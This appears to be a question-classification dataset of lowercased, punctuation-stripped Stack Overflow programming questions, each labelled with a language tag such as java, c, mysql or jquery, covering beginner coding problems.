how to keep a customer on the same page after they click  add to cart   i m attempting to create my first business webpage. i would like to add a message box where they can submit a personalized message. my question is  how can i code it so they can enter the message and submit it  but not be redirected to their shopping cart (paypal)     this is the code as of now:   <pre><code>&lt;!-- start sample paypal form 5 --&gt;  &lt;form target= paypal  action= https://www.paypal.com/cgi-bin/webscr  method= post  style= margin: 0px &gt;     &lt;input type= hidden  name= cmd  value= _cart &gt;     &lt;input type= hidden  name= business  value= website@email.com &gt;     &lt;input type= hidden  name= item_name  value= custom message &gt;     &lt;input type= hidden  name= custom  value=  &gt;     &lt;input type= hidden  name= return  value= http://your-domain.com/thanks-payment.htm &gt;     &lt;input type= hidden  name= no_note  value= 1 &gt;     &lt;input type= hidden  name= currency_code  value= usd &gt;     &lt;input type= hidden  name= quanity  value= 1 &gt;     &lt;input type= hidden  name= add  value= 1 &gt;     &lt;input type= hidden  name= amount  value= 0.01 &gt;  &lt;!-- start comments lines --&gt; &lt;input type= hidden  name= on0  value= custom message &gt;enter item comments:&lt;br&gt; &lt;textarea rows= 4  cols= 17  name= os0 &gt; &lt;/textarea&gt;&lt;br&gt; &lt;!-- end comments lines --&gt;  &lt;input type= image  src= http://www.paypalobjects.com/en_us/i/btn/x-click-but22.gif  border= 0  name= submit  alt= submit quote  vspace= 4 &gt;&lt;br&gt;  &lt;/form&gt; &lt;!-- end sample paypal form 5 --&gt; </code></pre>,html
application crashing in winxp and win2k3 but not in vista or win7 after applying kb981793 hot fix from microsoft  i have an existing application developed in vc++ 6.0 which has been installed in many customer sites throughout the world.     this application was working fine until sometime back when the microsoft kb981793 hot fix was applied. this hotfix has changes related to timezones and was crashing a crash due to an array overflow in our application code. when this patch was removed the application no longer crashed.    but the interesting thing is this crash was observed only in winxp and win2k3 machines and not in vista or win7 machines. any reason why this works this way.,c++
converting unix timestamp to actual date and time  is there any sql command which i can insert into the stated query so i can convert the timestamp. although it could be done separately which i have seen so far but i am trying to find something which i can add to the stated query as that would be helpful because i am using other queries to retrieve the data as well. if you any other questions please do mention. addition: rating_timestamp contains both time and date.    <pre><code>select rating_id         rating_postid         rating_posttitle         rating_rating         rating_timestamp         rating_username         rating_userid from wp_ratings; </code></pre>,sql
java groupingby list <pre><code>class student {     list&lt;integer&gt; grades } </code></pre>   i want grouping students by grades but groupingby would work if each student had only one grade. is any other lamba way to do it  i expect result like  <code>map&lt;integer  list&lt;student&gt;&gt;</code>,java
not all interface members will be implemented  is it right by saying it s common to have  some  interface members not implemented for certain classes simply because in certain circumstances they don t apply so you throw a non-implemented error in the method body     for example lets say i create an interface iapiauthentication that servers as a contract for classes that will perform authentication requests to 3rd party apis such as facebook for example and others also that we ll be implementing later on.    so my iapiauthentication interface would have the following properties possibly:   <pre><code>// the uri that the auth http request will go to (minus any querystring values  this is just the base) authenticationuri (property)  // unique id for your api account with whatever api you are using (facebook  picasa  whatever) clientid  (property)  // unique secret code also obtained when you sign up for an api account and used in auth calls clientsecret (property)  // a confirmation code sent back from the  authenticationverificationcodeid (method)  // a boolean property set to true if an authenticationverificationid was received back after an auth request authenticationwassuccessful (property)  // sends the actual http request to the specified uri sendrequest() </code></pre>   ok so in many cases  other apis require the same info during their auth process (such as photobucket  etc.)    ok so i created this interface that will be used for various implementations when i create wrappers for these apis and the whole point of this is to create some good commonality in terms of structure and reuse when i start to create features using some of the wrappers i will build off these generic interfaces here.  these are the basic building blocks for most nvp apis so what i put in these interfaces will usually all be used no matter what api i m implementing or at least 90% of the values in any interface that i m creating here.      so i will create a class for example facebookauth that implements that interface.  all find and dandy.  ok  next time i work on a new project i say hey  i m going to also implement that interface keeping with the team standard/pattern for creating third party wrapper projects) and i know that i m going to need lets say all those properties but maybe minus one or two because that provider doesn t require that piece in information during their auth process.  lets say it s just one that it doesn t need.    <strong>so my question(s) are these:</strong>   <ol> <li> is my approach making sense for the goal of reuse and consistency when i start to create all these 3rd party api wrapper projects later on  </li> <li> ok in general with interfaces as you know  you can dodge implementing a certain interface method by just throwing at least in .net a non implemented exception if someone tries to use that method in your subclass.  i m not sure about for properties...how you d ignore any of them if you absolutely had to (rare one-offs).  so is it  normal  to expect that your interface is never going to be  perfect  in terms that all members will always be used across the board 100%   i mean one could say only put in the elements that will be used 100%.  ok fine but it depends...because some apis will use all in this case most of the time..just a few one-offs won t...so to me it still makes sense to include some that may not be used in others. </li> </ol>   i just want some input based on experience out there...developers who are much more experienced with interfaces than i at this point.  i have not used interfaces much..i get what they are (contract  yada yada) but i m trying to figure out the best use for them and i really think this is a good use.  i ll also have abstract classes...just a few so i know the difference between the two.  i just want to know is it acceptable to have non-perfect interfaces so to say.  i guess that s why they version apis right   but even in an existing version you re going to have some classes that do not fully implement all members of an interface but implements that interface for consistency and reuse regardless overall in your app or wrapper...    i hope i did not ramble too much.  let me know if i m not clear.  and keep in my ind my above example is not really complete but gets the point across.,c#
ios in app purchase subscription  i want to sell a product with non renewing in app purchase and need to show 3 month and 6 month subscription period. for both 3 month and 6 month subscription do i need two different productid in itunes connect,ios
null pointer exception and maps  sorry if this is a stupid question  but i m very new to java.  basically we are learning about interfaces and maps right now in my java class.  i created an interface that is really simple  and have also created other classes that implement that interface.  in my class that is a main actor  i am creating a map and i ve created instances of these as you can see below.  i m getting a npe and i am not sure why.     <pre><code>private scanner input; private map&lt;string  command&gt; map;  //~ constructors .......................................................... // ---------------------------------------------------------- /**  * creates a new rocket object that reads commands  * from a predefined url (the url is in the lab assignment).  */ public rocket() {     this(iohelper.createscannerforurl(              http://courses.cs.vt.edu/~cs1114/fall2012/rocket-commands.txt )             );  }  // ---------------------------------------------------------- /**  * creates a new rocket object that reads commands  * from the given scanner.  * @param scanner the scanner to read commands from.  */ public rocket(scanner scanner) {     input = scanner;     map = new hashmap&lt;string  command&gt;();     forwardcommand forward = new forwardcommand(this);     map.put( forward   forward);     leftcommand left = new leftcommand(this);     map.put( left   left);     rightcommand right = new rightcommand(this);     map.put( right   right); }  //~ methods ............................................................... // ---------------------------------------------------------- /**  * reads one word from the scanner (if there is any)  and executes  * the corresponding command.  if the scanner has no words remaining   * then nothing happens.  */ public void act() {     if (input.hasnext())     {         string word = input.next();          map.get(word).execute();     } } </code></pre>   }    the error is coming on the line map.get(word).execute();    i m sure it is something obvious  but i am very new to coding so any help would be appreciated!,java
confused about .net redistributable packages and sdk  1.    assuming that you don t have visual studio installed and you want to use command line for development  do you need the .net framework sdk     the reason for my confusion is that the description for the redistributable says  the microsoft .net framework 4 redistributable package installs the .net framework runtime and associated files that are required to run <strong>and develop</strong> applications to target the .net framework 4.     in this case  why is the sdk needed     2.    if i understand correctly  the rational behind the introduction of the client profile flavor of the redist was to have a smaller installation. yet  it seems to be merely 15% smaller (41 mb vs 48 mb  see links below). is it really worth it     links:<br> <a href= http://www.microsoft.com/downloads/en/details.aspx displaylang=en&amp;familyid=e5ad0459-cbcc-4b4f-97b6-fb17111cf544  rel= nofollow >client profile redist</a><br> <a href= http://www.microsoft.com/downloads/en/details.aspx familyid=0a391abd-25c1-4fc0-919f-b21f31ab88b7  rel= nofollow >full redist</a><br> <a href= http://www.microsoft.com/downloads/en/details.aspx familyid=35aeda01-421d-4ba5-b44b-543dc8c33a20  rel= nofollow >sdk</a>,.net
"only show a tab/page only for an ip  hello so basically i want to make an hidden page/tab that will only show for a specific ip    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;ul class= right  id= menu &gt;
   &lt;li&gt;
     &lt;a class= selected  href= #msg &gt;test&lt;/a&gt; 
   &lt;/li&gt;
 &lt;/ul&gt;</code></pre>
 </div>
 </div>",html
no result shown when calling another function into main function in javascript  i am trying to make a simple interactive fiction game using html  css  and javascript(no jquery) only. so far for the ui and event handling there are no problems  but this current piece of code doesn t particularly work for me.   <pre><code>function x(){   var race = math.floor(math.random()*2);   var gender = math.floor(math.random()*2);   var y = document.getelementbyid( paragraph );   encountertext.textcontent =   ;   switch (race) {     case 0:       if(gender === 0)         y.textcontent +=  you meet a rabbit girl. ;         a();         else {         y.textcontent +=  you meet a rabbit boy. ;         }       break; default:   if(gender === 0)     y.textcontent +=  you meet a human girl. ;     a();     else {       y.textcontent +=  you meet a human boy. ;     }   } } function a(){   var hairgen = math.floor(math.random()*2);   var y = document.getelementbyid( randomencounter );   switch (hairgen) {     case 0:     y.textcontent +=  she has a long hair ;       break;     default:     y.textcontent +=  she has a short hair ;   }  } </code></pre>   when the event runs  there are nothing to show on the paragraph.  did i do something wrong with the javascript     ps: i m a javascript beginner.,javascript
clearing the service class shared preference value in android  am working with locationlistener gps and fused api.when app goes background am getting the value.am using service class and broadcast receiver and am saving the value in to shared prefrence.once disable and again enable am not getting the preference value.please help me what is the actual issue.    1.the following code is for broadcastreciever   <pre><code>public class alarmreceiver extends broadcastreceiver { context context;  @override public void onreceive(context context  intent intent) {     this.context = context;      system.out.println( alarm reciver called );      if (ismyservicerunning(this.context  currenttenderservicefragment.gpsservicefused.class)) {         system.out.println( already running no need to start again );     } else {         intent background = new intent(context  currenttenderservicefragment.gpsservicefused.class);         context.startservice(background);     } }  public static boolean ismyservicerunning(context context  class&lt; &gt; serviceclass) {     activitymanager activitymanager = (activitymanager) context.getsystemservice(context.activity_service);     list&lt;activitymanager.runningserviceinfo&gt; services = activitymanager.getrunningservices(integer.max_value);      if (services != null) {         for (int i = 0; i &lt; services.size(); i++) {             if ((serviceclass.getname()).equals(services.get(i).service.getclassname()) &amp;&amp; services.get(i).pid != 0) {                 return true;             }         }     }     return false; } </code></pre>   }`   <ol start= 2 > <li> and i have created service class too...   <pre><code>@override public int onstartcommand(intent intent  int flags  int startid) {     super.onstartcommand(intent  flags  startid);     boolean stopservice = false;     if (intent != null)         stopservice = intent.getbooleanextra( stopservice   false);     system.out.println( stopservice   + stopservice);     locationlistener = new locationlistener();     if (stopservice)         stoplocationupdates();     else {         if (!mgoogleapiclient.isconnected())             mgoogleapiclient.connect();     }      return start_sticky; }  @override public void oncreate() {     buildgoogleapiclient();     if (mgoogleapiclient != null) {         mgoogleapiclient.connect();     }     initcomponents(); } </code></pre>  <ol start= 3 > <li> manifest file                                      </li> </ol></li> </ol>   enabling and disabling the service by using this    <pre><code>public void enabledbroadcastreceiver() {     packagemanager pm = drawerhomeactivity.this.getpackagemanager();     componentname componentname = new componentname(drawerhomeactivity.this  alarmreceiver.class);     pm.setcomponentenabledsetting(componentname  packagemanager.component_enabled_state_enabled              packagemanager.dont_kill_app);     mcontext.startservice(new intent(drawerhomeactivity.this  currenttenderservicefragment.gpsservicefused.class));     string alarm = context.alarm_service;     alarmmanager am = (alarmmanager) getsystemservice(alarm);     intent intent = new intent( refresh_this );     pendingintent pi = pendingintent.getbroadcast(this  123456789  intent  0);     int type = alarmmanager.rtc_wakeup;     long interval = 1000 * 50;     am.setinexactrepeating(type  system.currenttimemillis()  interval  pi); }     public void disabledbroadcastreceiver() {     componentname receiver = new componentname(drawerhomeactivity.this  alarmreceiver.class);     packagemanager pm = drawerhomeactivity.this.getpackagemanager();     pm.setcomponentenabledsetting(receiver              packagemanager.component_enabled_state_disabled              packagemanager.dont_kill_app);     mcontext.stopservice(new intent(drawerhomeactivity.this  currenttenderservicefragment.gpsservicefused.class));     string alarm = context.alarm_service;     alarmmanager am = (alarmmanager) getsystemservice(alarm);     intent intent = new intent( refresh_this );     pendingintent pi = pendingintent.getbroadcast(this  123456789  intent  0);     int type = alarmmanager.rtc_wakeup;     long interval = 1000 * 50;     am.cancel(pi);     intent background = new intent(drawerhomeactivity.this  alarmreceiver.class);     mcontext.stopservice(background);  } </code></pre>,android
how we can interact with the iphone scheduler through code   is there any way via which we can interact to iphone scheduler and insert and delete data through any iphone application. and produce alerts on that particular time.a user will insert data in the scheduler through the iphone app and user will get notify on that particular time .    thanks  balraj,iphone
c outputting variable positions (pointers) instead of actual values  i was working on a class project and i wanted to do a little bit extra and make validation on my data. the problem seems to happen at <code>num1 = num1input</code> (and <code>num2 = num2input</code>) where it is getting the location (i assume) instead of the actual input value   <pre><code>int main(void) {     //variables     char num1input[10];     char num2input[10];      int length  i;     int num1 = 0;     int num2 = 0;     int counterrors1 = 0;     int counterrors2 = 0;      bool correct1 = false;     bool correct2 = false;      //--end of variable declarations--//      do {         printf( please enter a number:  );         scanf( %s   num1input);         length = strlen(num1input);         for (i = 0; i &lt; length; i++) {             if (!isdigit(num1input[i])) {                 counterrors1++;             }         }         if (counterrors1 &gt; 0) {             printf( input is not a number \n );         } else {             correct1 = true;         }     } while (correct1 == false);     num1 = num1input;      do {         printf( please enter second number:  );         scanf( %s   num2input);         length = strlen(num2input);         for (i = 0; i &lt; length; i++) {             if (!isdigit(num2input[i])) {                 counterrors2++;             }         }         if (counterrors2 &gt; 0) {             printf( input is not a number \n );         } else {             correct2 = true;         }     } while (correct2 == false);     num2 = (int)num2input;      printf( %d %d \n   num1  num2);      int addition = num1 + num2;     int substraction = num1 - num2;     int multiplication = num1 * num2;     float division = num1 / num2;      printf( addition: %d subtraction: %d multiplication: %d division: %.1e   addition  substraction  multiplication  division);      getch(); } </code></pre>,c
strange switch parse error <pre><code>switch (indexpath.section) {     case 0: //products used       nsstring * chemical = [selectedchemicals objectatindex:indexpath.row];       cell.textlabel.text = chemical;       break;     case 1: //areas sprayed       return [selectedareas count];       break;     case 2://target pests       return [selectedpests count];       break;     case 3://notes       return 1;       break;   } </code></pre>   gives me:        &nbsp;&nbsp; /users/grady/programming/objectivelybetter/bioguard/classes/jobwizardviewcontroller.m:147: error:  chemical  undeclared (first use in this function)      putting a blank semi-colon at the beginning of the case fixes it.     <pre><code>switch (indexpath.section) {     case 0: //products used       ;       nsstring * chemical = [selectedchemicals objectatindex:indexpath.row];       cell.textlabel.text = chemical;       break;     case 1: //areas sprayed       return [selectedareas count];       break;     case 2://target pests       return [selectedpests count];       break;     case 3://notes       return 1;       break;   }  </code></pre>,objective-c
window.onbeforeunload executed on page close instead of refresh in chrome  below code i used for execute file on page refresh or page close.    <pre><code>window.onbeforeunload = function(e) {          var a= document.createelement( script );         a.type =  text/javascript ;         a.async = true;         a.src =  http://192.xxx.x.xxx/clear.js ;         var r = document.getelementsbytagname( script )[0];          r.parentnode.insertbefore(a  r);         return  are your sure  ;  }; </code></pre>   this working fine on page close but problem with page refresh. this problem occur in chrome but in firefox working fine.     i got alert  are you sure  on page refresh but clear.js not executed on chrome.    please help!,javascript
c compiling -  undefined reference to function  when trying to link object files  so i create the object files with   <pre><code>cc -c main.c cc -c tablero.c </code></pre>   but then when i try to link them to an executable with   <pre><code>cc main.o tablero.o </code></pre>   i get   <pre><code>undefined reference to `asdf()  </code></pre>   (function defined in tablero.c and called in main.c)    <strong>here are my files:</strong>    i have main.c   <pre><code>#include &lt;stdio.h&gt; #include &lt;cstring&gt; #include  tablero.h  int main() {    int c;    printf(  enter a value : );    c = getchar( );    putchar(c);    printf(  \nyou entered:  );    c = asdf ();    putchar(c);    return 0; } </code></pre>   i have tablero.h   <pre><code>#ifndef tablero_h_ #define tablero_h_ int asdf(); #endif // tablero_h_ </code></pre>   and i have tablero.c   <pre><code>#include  tablero.h  int asdf() {return 48;}; //48 is 0 in ascii </code></pre>,c
convert datetime format <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/4855406/how-to-convert-a-time-to-a-string >how to convert a time to a string</a>    </blockquote>     i have a date format with as shown in the below code   <pre><code>    a= 2011-06-09  </code></pre>   using python how to convert it to the following format    <pre><code>       jun 09 2011 </code></pre>,python
has the ildasm tool been updated since .net 1.1   microsoft s ildasm is a very useful tool for looking at .net assemblies.  it has both command-line and gui interfaces.      every time a new version of .net comes out there is documentation describing the current ildasm  and a link next to it for earlier versions  for example: <a href= http://msdn.microsoft.com/en-us/library/f7dy01k1.aspx  rel= nofollow >http://msdn.microsoft.com/en-us/library/f7dy01k1.aspx</a>    ... but these documents only describe the command-like interface.    i m not much of a typist so i gravitate toward gui interfaces.   but the only documentation i can find on the gui version of ildasm dates back to .net 1.1 .  <a href= http://msdn.microsoft.com/en-us/library/aa309387%28vs.71%29.aspx  rel= nofollow >http://msdn.microsoft.com/en-us/library/aa309387%28vs.71%29.aspx</a>     so has ildasm changed since 1.1 in any way that i need to be aware of as a gui user of it  and if so are those changes documented anywhere       thanks in advance.,.net
messagebox to show many variables in a list  how to show all the list (how to use the messagebox to show the numbers under each other )   <pre><code> list&lt;int&gt; numbers =new list&lt;int&gt;();                 numbers.add(2);                 numbers.add(4);                 numbers.add(6);                 numbers.add(8); </code></pre>,c#
how to define 24bit data type in c   i will have to work a lot with 24-bit audio data. which is just unsigned int but instead of 32bit  it is 24bit. so what is the easier way to define and work with 24bit data in c,c
mysql query select row group by  i have a simple table from which i have to do a select  however it has to be something like this:    table example   <pre><code>statusid    statuscode    brandid    statusname  1           1             1000       first status 2           2             1000       second status 3           3             1000       third status 4           1             2000       first custom status </code></pre>   i need a select query where brandid = 1000 to output this:   <pre><code>statusid    statuscode    brandid    statusname  1           1             1000       first status 2           2             1000       second status 3           3             1000       third status </code></pre>   i need a select query where brandid = 2000 to output this:   <pre><code>statusid    statuscode    brandid    statusname  4           1             2000       first custom status 2           2             1000       second status 3           3             1000       third status </code></pre>   in other words  if brandid is default (1000) i need to select all rows belonging to this brandid  however if brandid is 2000 i need to select all rows belonging to this brandid + rows with default brandid if there is no brandid 2000 for that particular statuscode. i hope this is good enough explanation. this is the quer i ve been working on   <pre><code>select  *  from        table  group by    statuscode having  brandid = 2000 </code></pre>   obviously it doesn t work as intended.,mysql
sql - when i join an additional table  it adds rows to my results that i don t want to count  i m learning sql  for the second time  and i m not able to figure out how to join an additional table (that s required to access a field in that table that i want to sum)  without it returning additional rows to the results  as that is giving me incorrect counts.    that is my problem  as i see it  but maybe my approach is wrong.    what i need to accomplish is to total the itemprice s that are found in the orderitems table  per customer  for all their orders. i have done that  but not without getting the wrong counts for the number of orders  due to having to join that additional table.    here is the abbreviated code for the problem i m working on  followed by the results.  the results from running the code as-is on the left  and the results by un-commenting the 2 lines on the right.   <pre><code>select  customers.firstname  orders.customerid  count(*) as numoforders  from orders     join customers         on orders.customerid=customers.customerid --  join orderitems --      on orderitems.orderid=orders.orderid  group by customers.firstname  orders.customerid having count(*) &gt; 1 order by numoforders desc   fname     id    count                 fname      id    count ---------------------                 ---------------------- david      4    3                     allan       1    3 heather    8    2                     david       4    3 kris      18    2                     frank       6    3 bette     29    2                     heather     8    2 allan      1    2                     simona     14    2                                       kris       18    2                                       yuki       27    2                                       bette      29    2                                       chanel     35    2 </code></pre>,sql
mysql - return distinct other value from two columns if either column contains x  i have a table with the following data in mysql   <pre><code>c1 c2 //columns 1 &amp; 2 xx aa xx ab ad xx xx ac xx aa aa xx ac xx </code></pre>   i am looking for a query string that returns the following result (does not have to be ordered)   <pre><code>aa ab ac ad </code></pre>   a distinct (unique) list of  other  column values present in either column when either of those columns in the table contains xx    is this possible,mysql
jquery: how to add onlick event to a dynamic generated div   i want to add a onclick event to a div which generated using folowing code:   <pre><code>$( &lt;div /&gt; ).attr( city   $(this).attr( city ))             .attr( state   $(this).attr( state ))             .html($(this).attr( city ) +     + $(this).attr( state ))             .appendto($( #citylist )); </code></pre>   should i write onlick event in html(),jquery
image handling for different sizes of iphone and ipad for universal app  i am new in ios    my question is we can take different sizes of images for app icon that support iphone and ipad pick that images default as per screen resolutions.    same thing how to apply for other images in app. also is it necessary take every image with different sizes or resolutions     if it is necessary then what is the best way for that       appreciate for help.,ios
re-arrange string to a palindrome c <pre><code>void makeitpoli(char input[99]) {     char poli[99]=    ch[2] chv2[2]; // chv2- will be the middle letter(if there is odd number of letters)     int arr[26]={0} i j flag=0; // flag=1 if there is need for middle letter.      ch[1]= \0 ; chv2[1]= \0 ;     for(i=0;i&lt;99;i++) arr[input[i] -  a ]++;     for(i=0; i&lt;26;i++)     {         if(arr[i]%2!=0){arr[i]-=1;chv2[0]=i+ a ; flag=1;}         for(j=0;j&lt;arr[i]/2;j++){ch[0]=i+ a ; strcat(poli ch);}     }     strrevv2(poli chv2  flag);  } void strrevv2(char poli[99]  char chv2[2]  int flag){     int e=strlen(poli) s=0; char revpoli[99]=   temppoli[99]=  ;     strcpy(temppoli poli);     while (e!=0) revpoli[s++]=temppoli[--e];     if(flag==1) strcat(poli chv2); strcat(poli revpoli);     printf( this is not a palindrom but it could be\n---&gt; %s\n  poli);  } </code></pre>   edit-    thanks for the help. it was an assignment from university c class (im an ee student) the code should take a string and re arrange it to a palindrome. with out adding letters  as some comments here did  [test could never be a palindrome   but zccbbaa should be abczcba] but they helped me learn  so thanks!    i did not had time to fully explain the q. the other day. this is a very small part of a big and annoying assignment. [500 lines of codes  some did closer to 1000  least iv seen is around 500]. above is my code  with the same idea i had  but working! (there is another codes that make sure  input[99] ) can be a palindrome- if it has max of one letter thats appeared odd number of times,c
nontype template parameter why can not pass std::vector  i am trying with the following code.   <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt;  using namespace std;  template &lt;typename t  std::vector &lt;t&gt; myv&gt; int fun() {   cout &lt;&lt;  inside fun ()  &lt;&lt;endl; }  int main( int argc  char ** argv) {   std::vector&lt;int&gt; a;   fun&lt;int a&gt;(); } </code></pre>   i can not pass std::vector  myv        but  instead of <strong>std::vector   i could able to use something like template  **</strong>  and <strong>fun().</strong>,c++
check mysql database for unique value over many tables  i m looking for a way to easily check each table of a mysql database and make sure that a certain field contains one value only. i have tables named authors  titles  places  etc.     each table contains a field called xuser and it needs to ask  does the field xuser contain the value xy in all records of all tables .    can someone push me in the right direction how to do this with a sql query if this is possible     thanks for reading  regards    nico,mysql
a question on the backward/forward compatibility of csc.exe  is the .net command line compiler (csc.exe) in vs2010 a full  .net 4.0 compiler  furthermore (and this may sound stupid)  if i write code in .net 4.0 but it only makes use of .net 2.0 features and nothing beyond that  would it compile with a .net 2.0 compiler     thanksa,.net
how to add a jquery listener   i have a list sorter plugin that is sorting just fine but the filter function is not working. i think it is because the filter buttons are not directly adjacent the list that needs to be filtered. how would i add a listener for the div that contains the list to be filtered     jsfiddle: <a href= http://jsfiddle.net/infatti/s9vu2/  rel= nofollow >http://jsfiddle.net/infatti/s9vu2/</a>    this may be a solution but not sure how to implement it with the existing jquery:   <pre><code>$( #random-search-field ).keyup(function() {     list.search($(this).val()); }); </code></pre>,jquery
c - reversing an int to an array  i m trying to reverse the digits of an integer. to do this i am:   <ol> <li>taking the integer.</li> <li>putting it into a string.</li> <li>putting the string into another string in reverse.</li> <li>converting the reversed string to a proper integer.</li> </ol>   i ve sort of gotten to step 3  and while it does reverse the string properly  it leaves me with a lot of odd data. <a href= https://i.stack.imgur.com/1pw7y.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/1pw7y.png  alt= the results ></a> the top part is just the array lengths to compare. what is happening for this odd data    <pre><code>int reversenumber(int num) { //variables int i = 0; int j = 0; char number[50]; char reversednumber[50]; sprintf(number  %d   num);  //finding length of array do{      i++; }while(number[i] &gt; 10); //i - 1(due to array length) i--;  //reverseing do {     printf( %d | %d \n  j i);     reversednumber[j] = number[i];     printf( %c\n   reversednumber[j]);     getch();     i--;     j++; } while (i != -1);  int numberlength = (strlen(number) - 1); //printing printf( %s\n   number); printf( %s\n   reversednumber); } </code></pre>,c
is it permitted to download data while in a background mode [note that s uibackgroundmode not being sent to the background]  i can t find a clear answer to this - all the previous posts seem to be relating to finishing a downloading task when an app is sent from the foreground to background.    i m not talking about that situation  i m talking about when the application has a uibackgroundmode - my app has a requirement to register for certain location changes  when such a change occurs the app will connect to a server and download some data  the app should not come to the foregroud/display any gui until some time after the data has downloaded (via the app creating a local notification).    i ve looked through past postings but can t find a definitive answer to if this is permitted.,ios
uniquely identify click and execute once <pre><code>&lt;div id = uni1&gt;         &lt;input type=button class=click rel= 1 &gt; &lt;/div&gt; &lt;div id = uni2&gt;         &lt;input type=button class=click rel= 2 &gt; &lt;/div&gt; &lt;div id = uni3&gt;         &lt;input type=button class=click rel= 3 &gt; &lt;/div&gt; &lt;div id = uni4&gt;         &lt;input type=button class=click rel= 4 &gt; &lt;/div&gt;  $( .click ).click(function() {     alert( help ); }) </code></pre>   i have problem identifying the click button for jquery this will prompt alert 4 times.  #uni1 .click  will allow me to identify  but i cannot static define this. mean i can only use .click. because my uni1 &lt;-- is dynamic i can have up to uni100. or uni10000(this is user choice to have number of uni)    my question would be how am i going to identify uniquely each button for each input type. after the button is click i can use   <pre><code>$( .click ).click(function() {     $(this).parent().attr( id ); //it doesn t solve the problem that alert will still be executed 4 times. i want to have click being uniquely identify upon user click.     alert( help ); })  &lt;div id=uni&gt;     &lt;div id = uni1&gt;             &lt;input type=button class=click rel= 1 &gt;     &lt;/div&gt;     &lt;div id = uni2&gt;             &lt;input type=button class=click rel= 2 &gt;     &lt;/div&gt;     &lt;div id = uni3&gt;             &lt;input type=button class=click rel= 3 &gt;     &lt;/div&gt;     &lt;div id = uni4&gt;             &lt;input type=button class=click rel= 4 &gt;     &lt;/div&gt; &lt;/div&gt;  $( #uni +i).load(abc.html function(){ $( .click ).click(funcion(){ alert( help );})}) </code></pre>,jquery
argument of type  int  is incompatible with parameter of type  int *   the task   <blockquote>    design a program that generates a 7-digit lottery number. the program   should have an integer array with 7 elements. write a loop that steps   through the array  randomly generating a number in the range of 0 to 9   for each element.then write another loop that displays the contents of the   array.  </blockquote>   this is my code   <pre><code>#include &lt;iostream&gt; #include &lt;cstdlib&gt; #include &lt;array&gt; using namespace std;  // global constants const int array_size = 7;  // declare functions int gennumber(); void displayresults(int lottoarray[]  int array_size);  // module -- main int main(){     // declare variables     int lottoarray;      // set functions     lottoarray = gennumber();      // call display function     displayresults(lottoarray  array_size);      system( pause );     return 0; }  // module -- generate numbers int gennumber(){     // declare variables for array     int lottoarray[array_size];     int i = 0;      // generate a number for each array placeholder     for (i = 0; i &lt; array_size; i++){          // generate random number in array         lottoarray[i] = rand() % 10;          int checknumber = lottoarray[i];          // check for multiples         for (int i : lottoarray){             while (i == checknumber){                 checknumber = rand() % 10;             }         }     }      return lottoarray[array_size]; }   // module -- display results void displayresults(int lottoarray[]  int array_size){     // declare variables     int i = 0;      cout &lt;&lt;  lotto numbers:  ;      // display each value in the array     for (i = 0; i &lt; array_size; i++){         cout &lt;&lt; lottoarray[i] &lt;&lt;    ;     }      cout &lt;&lt; endl; } </code></pre>   i get the error on the title on this part of the code   <pre><code>// call display function     displayresults(lottoarray  array_size); </code></pre>   i understand the problem is that i m not returning a single int  i m returning multiple. how would i go about fixing this  my program has to be completely modular  and the main function can only be used to call the other functions.,c++
when do we use sizewithattributes vs sizethatfits   when i want to get a dynamic frame size for my <code>uilabels</code>  <code>sizethatfits</code> seems dead easy and i m wondering what is the advantage/disadvantage of using either one       <code>sizewithattributes</code> seem complicated for what it does.,ios
option with 1 to 1000  can some one give me a html option tag thats goes from 1 to 100,html
sorting structure elements in c  i have the following code  in which i must sort book titles by alphabetical order. this is the code i have and am unsure of how to perform the actual sort. any help regarding how to sort more than 2 books would also be appreciated  because the user is prompted to enter up to 30 books.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;ctype.h&gt;  struct books {     char title[256];     char author[256];     char genre[256];     int qualityrate;     int pages; };  int numberbook = 1; int casee; int booksnumber; int i;  int main() {     char again;      do     {         printf( how many books will you be entering today  );         scanf( %i   &amp;booksnumber);         printf( enter the information for your book.\n name\n author\n genre\n quality rating\n\n );         struct books book1;         struct books book2;         scanf( %s   book1.title);         scanf( %s   book2.title);          printf( the title of book %i is: %s\n   numberbook  book1.title);         printf( the title of book %i is: %s\n   numberbook  book2.title);          printf( how would you like to sort \n 1: by title\n 2: by author\n 3: by pages\n\n );         scanf( %i   &amp;casee);         switch(casee)          {             case 1:                 for(i = 1; i &lt; booksnumber  i++;)                 {                     if(strcmp(book[i].title  book[i+1].title) &lt; 0)                         strcpy(book[i+1].title  book[i].title);                     else                         if(strcmp(book[i+1].title  book[i].title) &lt; 0)                             strcpy(book[i].title  book[i+1].title);                  }                 printf( \n%s\n   book1.title);                 break;             case 2:                 break;         }          printf( another book \n );         numberbook++;         scanf( %s   &amp;again);     }      while(again ==  y );     return 0; } </code></pre>,c
php: remove certain character from string excluding/ignoring url  i have a string as below    <strong>string</strong>   <pre><code>&lt;span class= post-excerpt &gt; - &lt;a href= ./posts/the-post-title &gt;17 posts&lt;/a&gt; - li europan lingues es membres del sam familie. lor separat existentie es un myth. por scientie  musica  sport etc  litot europa usa li sam vocabular. li lingues differe solmen in li grammatica  li pronunciation e li plu commun vocabules. omnicos directe al desirabilite de un nov lingua franca: on refusa continuar payar custosi traductores. at solmen va esser necessi far uniform grammatica  pronunc&lt;/span&gt; </code></pre>   now i want to remove <code>-</code> from string <strong><em>(not from the url within the string)</em></strong>    i have tried to use <code>str_replace()</code> but than it is removing from url also and that resulting broken links of course.    anyone can please help me to remove <code>-</code> from the string but not from the url,php
